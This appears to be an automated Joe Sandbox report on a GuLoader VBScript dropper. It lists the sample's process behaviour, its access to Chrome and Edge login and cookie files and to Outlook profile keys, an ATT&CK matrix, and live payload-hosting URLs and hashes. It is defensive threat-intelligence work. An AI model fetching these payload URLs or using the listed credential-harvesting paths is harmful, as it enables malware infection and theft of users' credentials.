Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 0000000C.00000002.3468115562.00000000033D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3466570701.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3467347887.0000000000E80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3467940169.00000000033A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3468043368.0000000003380000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3185715994.0000000021E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3186142733.0000000022E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\cmdkey.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 0000000C.00000002.3468115562.00000000033D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3466570701.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3467347887.0000000000E80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3467940169.00000000033A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3468043368.0000000003380000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3185715994.0000000021E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3186142733.0000000022E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	1 Windows Management Instrumentation	321 Scripting	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	114 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	512 Process Injection	3 Obfuscated Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	512 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
6 654398.vbs	18%	ReversingLabs	Script-WScript.Trojan.Guloader

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
groupriam.com	199.103.62.205	true	false	unknown
www.foundation-repair.biz	199.59.243.227	true	false	unknown
gormezl_6777.6777.6777.677e	unknown	unknown	true	unknown
www.groupriam.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://www.groupriam.com/zkwqTJp58.bin	false	unknown
http://www.foundation-repair.biz/enra/?mxv=bBN4&XFtPf6=EuJScojaXV9tkcwLe9A6ZNdie4KkCxAOd2jPPlI8uN15nuMsourZ6RcE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzR3lGN8BbnO4B13xmkasr+DtvmANIh/JvA8i/3xstHKmsaw==	false	unknown
https://www.groupriam.com/Koalitioner.prx	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2374208348.0000019E36F60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.groupriam.com/zkwqTJp58.binT	msiexec.exe, 0000000A.00000002.3167698072.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.groupriam.com	powershell.exe, 00000004.00000002.2329009817.0000019E27116000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2329009817.0000019E28408000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.groupriam.com/zkwqTJp58.binZ	msiexec.exe, 0000000A.00000002.3167698072.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://promenter.rs/Koalitioner.prx	powershell.exe, 00000004.00000002.2329009817.0000019E27116000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2329009817.0000019E28408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.groupriam.com	powershell.exe, 00000004.00000002.2329009817.0000019E28C6D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000004.00000002.2329009817.0000019E28408000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.groupriam.com/L_y	msiexec.exe, 0000000A.00000002.3167698072.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://groupriam.com	powershell.exe, 00000004.00000002.2329009817.0000019E28C6D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.microR	powershell.exe, 00000006.00000002.2657649363.00000000075B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.groupriam.com/zkwqTJp58.binUnwesJaebruta.pl/zkwqTJp58.binKrlgsBrdpromenter.rs/zkwqTJp58.	msiexec.exe, 0000000A.00000002.3171643157.00000000067E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	cmdkey.exe, 0000000C.00000002.3468867917.0000000003FE4000.00000004.10000000.00040000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3470326587.00000000064E0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.groupriam.com/zkwqTJp58.bin3	msiexec.exe, 0000000A.00000003.3126476457.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3167761730.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6lB	powershell.exe, 00000006.00000002.2624423621.0000000004BC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2374208348.0000019E36F60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bruta.pl/Koalitioner.prx	powershell.exe, 00000004.00000002.2329009817.0000019E27116000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2329009817.0000019E28408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2624423621.0000000004D17000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.2329009817.0000019E26EF1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.2329009817.0000019E26EF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2624423621.0000000004BC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.groupriam.com/$_Q	msiexec.exe, 0000000A.00000002.3167698072.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	cmdkey.exe, 0000000C.00000002.3470610274.0000000008078000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
199.103.62.205	groupriam.com	Canada		36218	CIRRUSTECHLTDCA	false
199.59.243.227	www.foundation-repair.biz	United States		395082	BODIS-NJUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1539343
Start date and time:	2024-10-22 15:30:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6 654398.vbs renamed because original name is a hash value
Original Sample Name:	654398.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@15/8@3/2
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 84% Number of executed functions: 83 Number of non-executed functions: 273
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, otelrules.azureedge.net, login.live.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target GJFjqeGumqI.exe, PID 616 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6656 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7156 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 6 654398.vbs

Simulations

Behavior and APIs

Time	Type	Description
09:31:18	API Interceptor	79x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
199.103.62.205	Scanned_22C-6e24090516030.pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse
	ImBm40hNZ2.exe	Get hash	malicious	FormBook, GuLoader	Browse
	02_deb64ed.bin.exe	Get hash	malicious	GuLoader	Browse
	Solicitud de Cotizaci#U00f3n #U2013 Cat#U00e1logo de Muestras2024.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	Richiesta di Offerta - Catalogo Campione.vbs	Get hash	malicious	GuLoader	Browse
	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	Anfrage f#U00fcr ein Angebot - Musterkatalog.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	47#U0627.vbs	Get hash	malicious	FormBook, GuLoader	Browse
199.59.243.227	Invoice Packing list For Sea Shipment.exe	Get hash	malicious	FormBook	Browse	www.9net88.net/ge07/?Qzr=Llspyx1H8n00&anM=rInKjcO63u4K1THTAINFv2coOl+G9i0Xo3vzod/XDYjf3VmyXg5Nkxs22uj/DqErob1VpJkZnQ==
	zamowienie.exe	Get hash	malicious	GuLoader	Browse	www.gold-rates.online/rod1/
	PO1268931024 - Bank Slip.exe	Get hash	malicious	PureLog Stealer	Browse	www.rebel.tienda/7n9v/
	rHSBCBank_Paymentswiftcpy.exe	Get hash	malicious	FormBook	Browse	www.donante-de-ovulos.biz/g3wl/
	Halkbank_Ekstre_20230426_075819_154055.exe	Get hash	malicious	FormBook	Browse	www.online-dating28.xyz/xl8n/
	Re property pdf.exe	Get hash	malicious	FormBook	Browse	www.662-home-nb.shop/axh7/
	#U8a02#U55ae#U63cf#U8ff0.vbs	Get hash	malicious	FormBook	Browse	www.notepad.mobi/4q0m/
	jOAcln1aPL.exe	Get hash	malicious	Unknown	Browse	hb-drye.com/cpanel/panel/uploads/Jpnisg.pdf
	jOAcln1aPL.exe	Get hash	malicious	Unknown	Browse	hb-drye.com/cpanel/panel/uploads/Jpnisg.pdf
	890927362736.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.virtu.industries/i9b0/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.foundation-repair.biz	ImBm40hNZ2.exe	Get hash	malicious	FormBook, GuLoader	Browse	199.59.243.227
	Solicitud de Cotizaci#U00f3n #U2013 Cat#U00e1logo de Muestras2024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.59.243.226
	SecuriteInfo.com.Script.SNH-gen.5224.29912.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	Paul Meeting Proposal and Schedule.xls	Get hash	malicious	FormBook	Browse	199.59.243.226
	Paul Agrotis List.xls	Get hash	malicious	FormBook	Browse	199.59.243.226
	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.59.243.226
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.59.243.226

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BODIS-NJUS	Invoice Packing list For Sea Shipment.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	zamowienie.exe	Get hash	malicious	GuLoader	Browse	199.59.243.227
	PO1268931024 - Bank Slip.exe	Get hash	malicious	PureLog Stealer	Browse	199.59.243.227
	rHSBCBank_Paymentswiftcpy.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	Halkbank_Ekstre_20230426_075819_154055.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	Re property pdf.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	#U8a02#U55ae#U63cf#U8ff0.vbs	Get hash	malicious	FormBook	Browse	199.59.243.227
	Document.html	Get hash	malicious	HTMLPhisher	Browse	199.59.243.227
	jOAcln1aPL.exe	Get hash	malicious	Unknown	Browse	199.59.243.227
	jOAcln1aPL.exe	Get hash	malicious	Unknown	Browse	199.59.243.227
CIRRUSTECHLTDCA	Scanned_22C-6e24090516030.pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.103.62.205
	ImBm40hNZ2.exe	Get hash	malicious	FormBook, GuLoader	Browse	199.103.62.205
	02_deb64ed.bin.exe	Get hash	malicious	GuLoader	Browse	199.103.62.205
	Solicitud de Cotizaci#U00f3n #U2013 Cat#U00e1logo de Muestras2024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.103.62.205
	Richiesta di Offerta - Catalogo Campione.vbs	Get hash	malicious	GuLoader	Browse	199.103.62.205
	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.103.62.205
	Anfrage f#U00fcr ein Angebot - Musterkatalog.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.103.62.205
	47#U0627.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.103.62.205
	g5oo6DQ4pd.exe	Get hash	malicious	Unknown	Browse	208.69.57.105
	OQchDohurA.exe	Get hash	malicious	Raccoon SmokeLoader	Browse	192.228.108.27

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Massageapparater.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.103.62.205
	FZCO - PO#12345.exe	Get hash	malicious	AgentTesla	Browse	199.103.62.205
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	199.103.62.205
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	199.103.62.205
	Ref#150689.vbe	Get hash	malicious	AgentTesla	Browse	199.103.62.205
	MEC20241022001.bat	Get hash	malicious	Remcos, GuLoader	Browse	199.103.62.205
	SecuriteInfo.com.Win32.Malware-gen.5541.4493.exe	Get hash	malicious	Babadeda	Browse	199.103.62.205
	Setup.exe	Get hash	malicious	Unknown	Browse	199.103.62.205
	https://u.to/YaL0IA	Get hash	malicious	Unknown	Browse	199.103.62.205
	https://warriorplus.com/o2/a/jxwtscv/0	Get hash	malicious	Unknown	Browse	199.103.62.205
37f463bf4616ecd445d4a1937da06e19	Massageapparater.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.103.62.205
	phc.exe	Get hash	malicious	Unknown	Browse	199.103.62.205
	phc.exe	Get hash	malicious	Unknown	Browse	199.103.62.205
	001_215_EA2047939_202410210815.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	199.103.62.205
	Fignen234.exe	Get hash	malicious	GuLoader	Browse	199.103.62.205
	Fignen234.exe	Get hash	malicious	FormBook, GuLoader	Browse	199.103.62.205
	MEC20241022001.bat	Get hash	malicious	Remcos, GuLoader	Browse	199.103.62.205
	zamowienie.exe	Get hash	malicious	GuLoader	Browse	199.103.62.205
	zamowienie.exe	Get hash	malicious	GuLoader	Browse	199.103.62.205
	LTEXSP 5634 HISP9005 ST MSDS DOKUME74247liniereletbrunkagerne.bat	Get hash	malicious	Remcos, GuLoader	Browse	199.103.62.205

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

